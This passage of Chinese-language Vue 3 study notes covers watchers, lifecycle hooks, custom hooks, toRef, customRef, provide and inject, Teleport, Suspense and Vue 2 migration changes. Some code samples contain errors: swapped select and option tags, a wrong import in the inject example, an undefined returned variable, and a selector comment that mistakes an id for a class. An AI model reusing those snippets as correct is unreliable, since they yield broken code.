watch(()=>person.job,(newValue,oldValue)=>{
	console.log('person的job变化了',newValue,oldValue)
}) 

//情况五: 监视reactive定义的响应式数据中的某些属性 (监视某个对象中的多个属性) 
watch([()=>person.job,()=>person.name],(newValue,oldValue)=>{
	console.log('person的job变化了',newValue,oldValue)
})

//特殊情况:如果监视的对象中的属性的值是对象,那么此时开启deep:true才能进行深度监视。
watch(()=>person.job,(newValue,oldValue)=>{
	  console.log('person的job变化了',newValue,oldValue)
},{deep:true}) //此处由于监视的是reactive素定义的对象中的某个属性,所以deep配置有效

3.watchEffect函数

  • watch的套路是: 既要指明监视的属性,也要指明监视的回调。
  • watchEffect的套路是: 不用指明监视哪个属性,监视的回调中用到哪个属性,那就监视哪个属性。
  • watchEffect有点像computed:
    • 但computed注重的计算出来的值(回调函数的返回值),所以必须要写返回值。
    • 而watchEffect更注重的是过程 (watchEffect回调函数的函数体的代码执行逻辑),所以不用写返回值。
  • watchEffec一上来就会被调用,相当于默认开启了immediate:true
//watchEffect所指定的回调中用到的数据只要发生变化,则直接重新执行回调。
watchEffect(()=>{
	  const x1 = sum.value
	  const x2 = person.job.j1.salary
	  // 上面用到的数据(sum.value或person.job.j1.salary)只要在其他地方有改动,watchEffect的回调就会被调用
	  console.log('watchEffect配置的回调执行了')
})

9.Vue2、Vue3生命周期区别

vue2的生命周期
lifecycle_2
 
vue3的生命周期
lifecycle_2

  • Vue3中可以继续使用Vue2中的生命周期钩子,但有有两个被更名: beforeDestroy改名为beforeUnmount,destroyed改名为unmounted
  • Vue3中的生命周期钩子函数配置两种形式
    第一种是和Vue2一样将生命周期钩子函数配置在和setup()同层级。
    第二种是下面的使用Composition API形式的生命周期钩子,即把生命周期函数放在setup()中。如果同时写了beforeCreate()setup()配置项,那么在执行beforeCreate()之前会先执行setup()。
  • Vue3也提供了Composition API形式的生命周期钩子,在这种形式下把原有的beforeCreate()和created()的逻辑写在setup()中就行了,就是相当于把setup()当成beforeCreate()和created()去使用,其他函数参考下面的新函数名,然后写在setup()中。如果同时使用了 Composition API 形式的生命周期钩子和传统的Vue2方式的生命周期钩子,那么这两个生命周期钩子都会被调用,且Composition API 形式的生命周期钩子会优先于传统的Vue2方式的生命周期钩子被调用。
  • Composition API 形式的生命周期钩子与Vue2中钩子对应关系如下:
    • beforeCreate()—>使用setup()代替beforeCreate()
    • created()—>使用setup()代替created()
    • beforeMount()—>onBeforeMount()
    • mounted()—>onMounted()
    • beforeUpdate()—>onBeforeUpdate()
    • updated()—>onUpdated()
    • beforeUnmount()—>onBeforeUnmount()
    • unmounted()—>onUnmounted()

使用Composition API 形式的生命周期钩子demo:

import {onBeforeMount,onMounted,onBeforeUpdate,onUpdated,onBeforeUnmount,onUnmounted} from 'vue'

export default {
	  setup(){
		  onBeforeMount(()=>{
			  console.log('执行了 onBeforeMount')
		  })
		  onMounted(()=>{
			  console.log('执行了 onMounted')
		  })
		  onBeforeUpdate(()=>{
			  console.log('执行了 onBeforeUpdate')
		  })
		  onUpdated(()=>{
			  console.log('执行了 onUpdated')
		  })
		  onBeforeUnmount(()=>{
			  console.log('执行了 onBeforeUnmount')
		  })
		  onUnmounted(()=>{
			  console.log('执行了 onUnmounted')
		  })
		  return {}
	  }
}

10.自定义hook函数

hook的本质是一个函数,把setup函数中使用的Composition API进行了封装,类似于vue2.x中的mixin。
自定义hook的优势: 复用代码 (可以多个组件都使用该自定义hook的逻辑) , 让setup中的逻辑更清楚易懂。

自定义hook函数demo(实现鼠标点击屏幕时,拿到鼠标的坐标并显示在屏幕上):

// 传统写法: 在挂载 (onMounted) 时候给windows挂载鼠标监听,监听回调中拿到是鼠标坐标,在卸载时(onBeforeUnmount)取消监听即可
<template>
	<h2>当前点击时鼠标的坐标为: x: {{point.x}},y: {{point.y}}</h2>
</template>

<script>
	import {reactive,onMounted,onBeforeUnmount} from 'vue'
	import usePoint from '../hooks/usePoint'
	export default {
		name: 'Demo',
		setup(){
			  //定义鼠标“打点”相关的数据
			  let point = reactive({
				  x:0,
				  y:0
			  })

			  //定义鼠标“打点”相关的方法
			  function savePoint(event){
				  point.x = event.pageX
				  point.y = event.pageY
				  console.log(event.pageX,event.pageY)
			  }

			  //实现鼠标“打点”相关的生命周期钩子
			  onMounted(()=>{
				  window.addEventListener('click',savePoint)
			  })

			  onBeforeUnmount(()=>{
				  window.removeEventListener('click',savePoint)
			  })
			//返回一个对象 (常用) 
			return {point}
		}
	}
</script>
// 传统写法结束---------------------------------------------------------------------------




// 自定义Hook函数写法: 将上面的业务逻辑抽取出来到单独的.js文件中
// ,比如/src/hook/usePoint.js(该js文件名和所在的文件夹可以自定义,但是在这里业内都习惯给自定义hook的js文件名使用use前缀)。
// usePoint.js的内容如下: 
<script>
import {reactive,onMounted,onBeforeUnmount} from 'vue'
export default function (){
	//实现鼠标“打点”相关的数据
	let point = reactive({
		x:0,
		y:0
	})

	//实现鼠标“打点”相关的方法
	function savePoint(event){
		point.x = event.pageX
		point.y = event.pageY
		console.log(event.pageX,event.pageY)
	}

	//实现鼠标“打点”相关的生命周期钩子
	onMounted(()=>{
		window.addEventListener('click',savePoint)
	})

	onBeforeUnmount(()=>{
		window.removeEventListener('click',savePoint)
	})

	return point
}
</script>


// 然后就不同的组件中就可以引入使用了,组件代码: 
<template>
	<h2>当前点击时鼠标的坐标为: x: {{point.x}},y: {{point.y}}</h2>
</template>

<script>
	import {ref} from 'vue'
	import usePoint from '../hooks/usePoint'
	export default {
		name: 'Demo',
		setup(){
			//数据
			let point = usePoint() // 只要有组件写了这行,就复用了抽取出来的usePoint.js中的代码。
			//返回一个对象 (常用) 
			return {sum,point}
		}
	}
</script>
// 自定义Hook函数写法---------------------------------------------------------------------------

11.toRef(特别重要)

  • 作用: 创建一个ref对象,其value值指向另一个对象中的某个属性。
  • 语法: const name = toRef(person,'name')
  • 应用: 要将响应式对象中的某个属性单独提供给外部使用时。
  • 扩展: toRefs与toRef功能一致,但可以批量创建多个ref对象,toRefs语法: toRefs(person)

toRef的demo:

<template>
	<h4>{{person}}</h4>
	<h2>姓名: {{name}}</h2>
	<h2>年龄: {{age}}</h2>

	<!--<h2>薪资: {{salary}}K</h2> 使用toRef时用-->
	<h2>薪资: {{job.j1.salary}}K</h2> <!--使用toRefs时用-->

	<button @click="name+='~'">修改姓名</button>
	<button @click="age++">增长年龄</button>

	<!--<button @click="salary++">涨薪</button>使用toRef时用-->
	<button @click="job.j1.salary++">涨薪</button><!--使用toRefs时用 -->

</template>

<script>
	import {ref,reactive,toRef,toRefs} from 'vue'
	export default {
		name: 'Demo',
		setup(){
			//数据
			let person = reactive({
				name:'张三',
				age:18,
				job:{
					j1:{
						salary:20
					}
				}
			})
			  
			  return {
			  // 错误写法1: 如果这么写,那么返回的就是person中对应的属性值,是值,不是变量,所以点击按钮时person中的数据变动
			  // ,界面中的数据也不会收到,就是不是响应式数据了。即这么写返回的是死数据。
				  person,
				  name:person.name,
				  age:person.age,
				  salary:person.job.j1.salary,
			  }

			  return {
			  // 错误写法2: 这种写法也是返回的是值,虽然界面能检测到返回值的变动
			  // ,但实际监测到的并不是person这个对象的数据的变动。所以即时person对象中的数据有变动,界面也不会发生变化。
				  person,
				  name:ref(person.name),
				  age:ref(person.age),
				  salary:ref(person.job.j1.salary),
			  }




			// 正确写法: 
			// 如果需要返回的是对象中的属性,但是同时又要获取到该对象中属性的值的变动
			// ,就使用toRef(要监视的对象,'要监视该对象的属性名')。此时person对象中数据的变动,vue也能监测到了。
			// const name2 = toRef(person,'name')
			// console.log('####',name2)

			// 如果是将对象中的所有属性剥离出来,然后return,就使用toRefs。或者像下面return中一样,直接...toRefs(对象)的属性全都展开到返回对象属性中
			const x = toRefs(person)
			console.log('******',x)

			// 返回一个对象 (常用) 
			return {
				person,
				// name:toRef(person,'name'),
				// age:toRef(person,'age'),
				// salary:toRef(person.job.j1,'salary'),
				...toRefs(person)
			}
		}
	}
</script>

三、其它 Composition API

1.shallowReactive() 与 shallowRef()

  • shallowReactive({对象属性...}): 只处理对象最外层属性的响应式(浅响应式),即只有第一层级的属性才是响应式的,更深层级的数据变动vue不去监视。 使用场景: 如果有一个对象数据,结构比较深, 但数据只是外层属性变化时使用。
  • shallowRef(参数): 只处理参数是基本数据类型的响应式, 不进行对象的响应式处理。即如果传的参数是基本数据类型,则和ref一样是响应式数据;如果参数是对象类型,则不是响应式,该对象内的数据改变不会更新前端界面。使用场景: 如果有一个对象数据,后续功能不会修改该对象中的属性,而是生新的对象来替换该对象时使用。

2.readonly 与 shallowReadonly

  • 新对象 = readonly(对象): 让一个响应式数据变为只读的(深只读) ,即不能修改新对象中的任何层级中的属性及其值。
  • 新对象 = shallowReadonly(对象): 让一个响应式数据变为只读的(浅只读) ,即不能修改新对象中的最外的第一层中的属性及其值,更深层级的属性和值都能修改。

3.toRaw 与 markRaw

  • toRaw
    1. import {toRaw,markRaw} from 'vue'
    2. toRaw(reactive对象)
    3. toRaw()作用: 将一个由reactive()生成的响应式对象转为普通对象,比如let xx = toRaw(reactive({a:123})) ,获取的xx就是对象{a:123}注意: toRaw只能处理reactive类型的响应式对象,ref类型的不能被处理
    4. 使用场景: 用于读取响应式对象对应的普通对象,对这个普通对象的所有操作,不会引起页面更新。
  • markRaw:
    1. markRaw()作用: 标记一个对象,使其永远不会再成为响应式对象。比如不想让一个响应式对象中的某个属性(该属性值是个多层级的对象)不是响应式的,即禁止一个响应式中的某个属性是响应式。person.car = markRaw(car对象),这样person.car属性就不是响应式的了,
    2. 注意: 如果修改car对象中的数据还是可以修改的,只是前端界面不会更新被修改的数据而已。
    3. 应用场景:
      • 有些值不应被设置为响应式的,比如某个响应式对象中的某个属性,或者复杂的第三方类库等。
      • 当渲染具有不可变数据源的大列表时,跳过响应式转换可以提高性能。

4.customRef

  • 作用: 创建一个自定义的ref,并对其依赖项跟踪和更新触发进行显式控制。
  • ref就类似精装修的房子,customRef就类似毛坯房

自定义Demo: 一个输入框,输入框输入什么内容,输入框下方的span标签就延迟500ms显示输入框中的内容。且必须等到键盘停止500ms后才显示下方的文字内容,如果键盘停止在500ms内又按下键盘,则清空之前的延时器再次从头计时500ms再显示 (该效果也称为防抖效果) :

<template>
	<input type="text" v-model="keyword">
	<h3>{{keyword}}</h3>
</template>

<script>
	import {ref,customRef} from 'vue'
	export default {
		name:'Demo',
		setup(){
			// let keyword = ref('hello') //使用Vue准备好的内置ref
			//自定义一个myRef
			function myRef(value,delay){
				let timer
				//通过customRef去实现自定义
				return customRef((track,trigger)=>{
					return{
						get(){
							track() //告诉Vue这个value值是需要被“追踪”的,如果返回的值有变动,就返回这个值回去。否则就算get()执行也不会有响应式
							return value
						},
						set(newValue){
							clearTimeout(timer) // 每次修改输入框中的数据时,如果距离上次输入还没超过500ms,则清空上一次的延迟计时器。否则会一堆计时器积压在一起出现bug (数据会抖动) 。
							timer = setTimeout(()=>{
								value = newValue
								trigger() //告诉Vue去更新界面,然后vue就会再次渲染模板,渲染到keyword这个字段时,就会调用myRef('hello',500)中的get(),get()就会把最新的value返回给模板,模板就会更新数据了
							},delay)
						}
					}
				})
			}
			let keyword = myRef('hello',500) //使用程序员自定义的ref
			return {
				keyword
			}
		}
	}
</script>

5.provide(提供) 与 inject(注入)

  • 作用: 实现祖与后代组件(即不相邻层级的组件)间通信,当然相邻层级的组件间也可以,但是父子组件之间一般都使用props来传递数据。即在父组件中provide(数据)后,父组件中的子组件、子孙以及更深层级的子子孙孙组件都能使用inject接收到该数据。
  • 具体写法
    1. 在父组件中使用provide('键',值)的方式给子子孙孙组件提供数据:
    import {provide} from 'vue'
    setup(){
    	......
    	let car = reactive({name:'奔驰',price:'40万'})
    	provide('car',car)
    	......
    }
    
    1. 子、孙、子子孙孙等后代组件中使用inject(‘键’)的方式来获取父组件传过来的数据:
    import {provide} from 'vue'
    setup(props,context){
    	......
    	const car = inject('car')
    	return {car}
    	......
    }
    

6.响应式数据类型的判断

  • isRef(对象): 检查一个值是否为一个ref对象
  • isReactive(对象): 检查一个对象是否是由 reactive 创建的响应式代理对象
  • isReadonly(对象): 检查一个对象是否是由 readonly 创建的只读代理对象
  • isProxy(对象): 检查一个对象是否是由 reactive 或者 readonly 方法创建的代理对象

四、Composition API 的优势

1.Options API存在的问题

Options API就是Vue2中使用一个个属性来配置的那种Vue的写法。
使用传统OptionsAPI中,新增或者修改一个需求,就需要分别在data,methods,computed里修改 。就是同一个功能的数据、算法(函数),都分散在了data、methods、生命周期钩子函数…等不同配置项中。以下动图就是OptionsAPI中,不同色块代表不同功能,可以明显看出,不同功能的数据、算法都是分散的。而每个配置(比如data、methods…)中的不同功能又混在一起。

 

2.Composition API 的优势

Composition API就是Vue3的配置方法,可以将同一个业务逻辑的模块封装在一个函数中。这种方式可以更加优雅的组织我们的代码,函数。让相关功能的代码更加有序的组织在一起。就是使用Composition API可以将同一个功能相关的数据、方法、计算属性、生命周期钩子…等等都写在一起,然后封装成一个个函数(下方第2个动图),然后将这些函数都放在setup()中,这样就比较好管理了。形式可以参考自定义Hook函数写法,最后在setup调用一下导入的js即可。

 


五、新的组件

1.Fragment

  • 在Vue2中: 组件必须有一个根标签
  • 在Vue3中: 组件可以没有根标签, 内部会将多个标签包含在一个Fragment(标签)虚拟元素中
  • 好处: 减少标签层级, 减小内存占用

2.Teleport

Teleport是一种能够将我们的组件html结构移动到指定位置(指定标签,比如移动到<body><html>…等等标签)的技术。
比如A组件里面有个B组件,B组件里面有个C组件,C组件里面有个自定义的弹窗组件,该弹窗组件有个按钮,按钮之后会在整个屏幕的正中央显示弹窗 (这样就要求弹窗组件中的按钮显示在C组件中,但是弹窗组件的弹窗需要显示在A、B、C组件之外,这样就需要把弹窗组件中的弹窗模板(html标签)移动到A、B、C组件之外的某个html标签中,比如<body>标签,即可),以下是实现代码:

<template>
	<div>
		<button @click="isShow = true">点我弹个窗</button>
		<!-- 这里就teleport内的内容将移动到body标签上,也可以写其他标签选择器,比如#123,就会移动到class=123的标签上,然后里面的内容就可以脱离它所在的组件的位置了。 -->
		<teleport to="body"> 
			<div v-if="isShow" class="mask">
				<div class="dialog">
					<h3>我是一个弹窗</h3>
					<h4>一些内容</h4>
					<h4>一些内容</h4>
					<h4>一些内容</h4>
					<button @click="isShow = false">关闭弹窗</button>
				</div>
			</div>
		</teleport>
	</div>
</template>

<script>
	import {ref} from 'vue'
	export default {
		name:'Dialog',
		setup(){
			let isShow = ref(false)
			return {isShow}
		}
	}
</script>

<style>
	.mask{
		position: absolute;
		top: 0;bottom: 0;left: 0;right: 0; // 大小上下左右顶满整个屏幕
		background-color: rgba(0, 0, 0, 0.5);
	}
	.dialog{
		position: absolute;
		top: 50%; // 以元素左上角为定位点,往下移动到屏幕的一半
		left: 50%; // 以元素左上角为定位点,往右移动到屏幕的一半
		transform: translate(-50%,-50%);// 以元素左上角为定位点,向下和向右移动负的自身标签大小的一半 (即向左和向上移动距离为标签大小的一半距离) 
		text-align: center;
		width: 300px;
		height: 300px;
		background-color: green;
	}
</style>

3.Suspense (尚处于实验阶段,以后可能还要改)

  • 动态组件: 在Vue中所有静态组件是一起同时渲染到屏幕上的,如果有其中某个静态组件有问题导致渲染失败,那么其他所有组件也不会显示。

  • 异步组件: 如果其他静态组件先准备好,那就先把静态组件一起显示到屏幕上,等动态组件准备好了再渲染动态组件到屏幕上。比如引入了A、B、C三个组件,A和B是普通组件 (也叫静态组件) ,C是异步组件,A组件和B组件都准备好了,就先显示A、B组件,等C组件也准备好了,那就再显示C组件。但是有一个问题,如果C组件在渲染前如果出错,或者渲染的很慢,用户就看不到C组件了,也不知道还有个C组件的存在。所以使用Suspense标签包裹的组件,目的就是实现类似于图片加载失败或者加载成功前的一个占位的东西。

  • Suspense作用: 等待异步组件准备好渲染成功之前,显示一些默认内容,让应用有更好的用户体验 (免得异步组件不渲染处理用户也不知道有这么个组件) 。

  • Suspense使用步骤:

    1. 异步引入 (也叫动态引入) 组件/动态/异步引入组件
    import {defineAsyncComponent} from 'vue'
    const Child = defineAsyncComponent(()=>import('./components/Child.vue'))
    
    1. 使用Suspense包裹组件,并配置好defaultfallback
    <template>
    	<div class="app">
    		<h3>我是App组件</h3>
    		<Suspense>
    			<template v-slot:default>
    				<Child/>
    			</template>
    			<template v-slot:fallback>  // 只要还没v-slot:default这个节点还没渲染成功,就显示v-slot:fallback中的内容
    				<h3>加载中.....</h3>
    			</template>
    		</Suspense>
    	</div>
    </template>
    

六、其他

1.全局API的转移

  • Vue2 有许多全局 API 和配置,例如: 注册全局组件、注册全局指令等,在Vue3中不能用这种写法来注册全局组件、注册全局指令等了。

    //注册全局组件
    Vue.component('MyButton', {
    data: () => ({
    	count: 0
    }),
    template: '<button @click="count++">Clicked {{ count }} times.</button>'
    })
    
    //注册全局指令
    Vue.directive('focus', {
    inserted: el => el.focus()
    }
    
  • Vue3中对这些API做出了调整,将全局的API,即: Vue.xxx调整到应用实例 (app) 上:

    Vue2全局 API (Vue) Vue3实例 API (app)
    Vue.config.xxxx app.config.xxxx
    Vue.config.productionTip 移除,在Vue3中没有报警生产环境的提示了
    Vue.component app.component
    Vue.directive app.directive
    Vue.mixin app.mixin
    Vue.use app.use
    Vue.prototype app.config.globalProperties

2.其他改变

  • data选项应始终被声明为一个函数。
  • 过度类名的更改:
    • Vue2写法
    .v-enter,.v-leave-to {
    	opacity: 0;
    }
    .v-leave,.v-enter-to {
    	opacity: 1;
    }
    
    • Vue3写法,.v-enter改成了.v-enter-from
    .v-enter-from,.v-leave-to {
    	opacity: 0;
    }
    
    .v-leave-from,.v-enter-to {
    	opacity: 1;
    }
    
  • 移除keyCode作为 v-on 的修饰符,同时也不再支持Vue2中Vue.config.keyCodes(自定义别名按键),比如@keyup.13="xxx()。在vue2中可以监听回车键按下并抬起后,进行回调xxx函数,在Vue3中不支持通过按键编码这么监听了。
  • 移除v-on.native修饰符,在Vue3中,如果在子组件中配置了emits指定子组件的自定义事件,那么在父组件中给子组件标签添加的事件监听不在子组件的自定义事件中,就默认为该事件是js的原生事件。
  • 父组件中绑定事件<my-component v-on:close="handleComponentEvent" v-on:click="handleNativeClickEvent"/>
  • 子组件中声明自定义事件export default {emits: ['close']}
  • 移除过滤器(filter)
    过滤器虽然这看起来很方便,但它需要一个自定义语法,打破大括号内表达式是 “只是 JavaScript” 的假设,这不仅有学习成本,而且有实现成本!建议用方法调用或计算属性去替换过滤器。

其他用到的知识

获取到的数据是字符串不是数字

以下写法获取到的a的值是字符串,要改成数字,在value前面加冒号":"即可

<!-- 一般写法,获取到的select值是字符串: -->
<option v-model="a">
	<select value="1">
	<select value="2">
	<select value="3">
</option>

<!-- 以下获取到的就是数字类型的:  -->
<option v-model="a">
	<select :value="1">
	<select :value="2">
	<select :value="3">
</option>

<!-- 或者强制类型转换数据为某个类型 -->
<option v-model.number="a">
	<select value="1">
	<select value="2">
	<select value="3">
</option>

使用video标签播放视频

<video controls src="视频地址"></video>


代码规范

导入: 导入的第三方库放在自己写的导入的组件的上面。导入从上到下的顺序是,第三方库1,第三方库2…自定义组件1,自定义组件2…
函数形参: 如果有在函数中没用到的形参,可以定义成"_",代表占位而已。比如消息订阅pubsub.subscribe中的第二个参数的回调函数的第一个形参用不到,所以就可以这么写
标签过长: 以每隔标签属性开头进行分行,将一个标签写成多行,每行就是该标签中的一个属性
函数参数过多: 可以使用对象方式传参,把所有需要传的参数封装到一个对象中传过去,然后如果需要批量更改这个参数对象中的属性值,可以使用{...旧对象,..新对象}的方式更新值
html层级过多: 检查是否有层级可以使用<template>标签代替

课程之外的知识补充

用了localStorage为什么还要用vuex

来源: 用了localStorage为什么还要用vuex
在使用vuex的时候,vuex的数据不能持久化存储,将vuex的数据存到本地,localStorage即可实现数据持久化存储的问题,你既然用来本地存储,为什么还用vuex,有什么区别吗?
vuex他的数据是响应式的,而本地存储的数据不是响应式的
eg:假如ab两个组件都在用本地存储,你改变了a组件里的数据,a页面数据虽然会同步到本地存储,但是由于数据不是响应式的,所以b页面的数据不会变,

用vue遇到的问题

使用 WebStorm 创建 Vue 项目后,怎么修改布局都铺不满页面
找到App.vue文件style中添加如下代码:

html,body,#app{
 height: 100%;
}

Q.E.D.


做一个热爱生活的人